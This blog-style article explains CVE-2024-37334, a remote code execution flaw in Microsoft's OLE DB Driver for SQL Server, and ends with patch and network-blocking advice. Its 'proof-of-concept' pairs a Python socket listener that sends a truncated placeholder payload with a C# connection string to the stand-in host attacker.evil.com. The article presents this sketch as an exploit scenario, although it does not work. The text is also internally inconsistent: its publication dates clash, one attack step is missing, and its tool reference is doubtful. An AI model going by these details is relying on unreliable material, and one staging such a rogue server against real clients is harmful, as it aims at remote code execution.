On June 11, 2024, Microsoft published a critical security bulletin about a remote code execution vulnerability in the Microsoft OLE DB Driver for SQL Server, identified as CVE-2024-37334. This vulnerability allows an attacker to execute code remotely if they trick a user or attack an exposed service using the vulnerable driver.

In this article, we’ll explain what the vulnerability is, show you code snippets of a potential exploit scenario, and offer straightforward mitigation steps.

What is Microsoft OLE DB Driver for SQL Server?

The OLE DB Driver for SQL Server (often called MSOLEDBSQL) is a Microsoft component that enables apps to connect to SQL Server and Azure SQL databases. It’s used in thousands of Windows applications and services.

What is CVE-2024-37334?

CVE-2024-37334 is a remote code execution (RCE) vulnerability that affects Microsoft OLE DB Driver for SQL Server versions prior to the June 2024 Update.

An attacker can exploit this by getting the user or service to connect to a malicious SQL Server instance. When a crafted payload is delivered, it causes the OLE DB driver to run code chosen by the attacker – on the system where the driver is installed.

Official MSRC advisory

- CVE-2024-37334 | Microsoft OLE DB Driver for SQL Server Remote Code Execution Vulnerability

Target uses an outdated Microsoft OLE DB Driver for SQL Server.

- Target connects to an attacker-controlled SQL Server (for example, tricked via altered connection string, phishing, or poisoned DNS).
- Attacker sends a response with a malicious payload that exploits parsing/processing in the OLE DB driver.

1. Attacker Runs a Malicious SQL Server

The attacker sets up a custom SQL server (using impacket-mssqlserver or other tools), listening for incoming OLE DB connections.

# Simple proof-of-concept malicious SQL server in Python (using socket)
# Listens for OLE DB driver connection and sends crafted payload

import socket

HOST = '...'
PORT = 1433

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))
    s.listen()
    print('[*] Malicious SQL Server running...')
    conn, addr = s.accept()
    with conn:
        print(f'[*] Connection from {addr}')
        # Send crafted packet here - replacing with actual exploit payload
        evil_payload = b"\x00\x01\x00\xFF..."  # (payload triggers RCE in OLE DB)
        conn.sendall(evil_payload)
        # Keep connection open or close after sending

If the victim app uses this connection string (or is tricked into using it)

// C# example using vulnerable OLE DB Driver
string connStr = "Provider=MSOLEDBSQL;Data Source=attacker.evil.com,1433;Initial Catalog=TestDB;User Id=evil;Password=evil;";
using (OleDbConnection conn = new OleDbConnection(connStr))
{
    conn.Open(); // <-- Exploited here if driver is unpatched
}

3. Malicious Payload Executes

When the driver parses the attacker’s payload, it triggers code execution in the client context.

Result: The attacker can run arbitrary commands (e.g., download malware, open a reverse shell, pivot further).

How Can You Protect Yourself?

- Update: Immediately update to the latest OLE DB Driver. Microsoft’s fix is the only mitigation.
- Block outbound SQL connections: Prevent users/services from connecting to untrusted SQL servers.

References

- Microsoft Security Response Center - CVE-2024-37334
- Microsoft OLE DB Driver for SQL Server Release Notes
- Impacket mssqlserver.py

Conclusion

CVE-2024-37334 is a critical vulnerability in a library used by many Windows apps and servers. If you use Microsoft OLE DB for SQL Server, patch NOW and make sure your apps never connect to untrusted servers. This bug lets an attacker run code on your system just by opening a connection to a malicious database.

Stay safe and always keep your software updated!

*This article is a simplified, exclusive breakdown. For technical details and the official fix, see Microsoft’s advisory.*

Timeline

Published on: 07/09/2024 17:15:22 UTC
Last modified on: 08/13/2024 22:53:35 UTC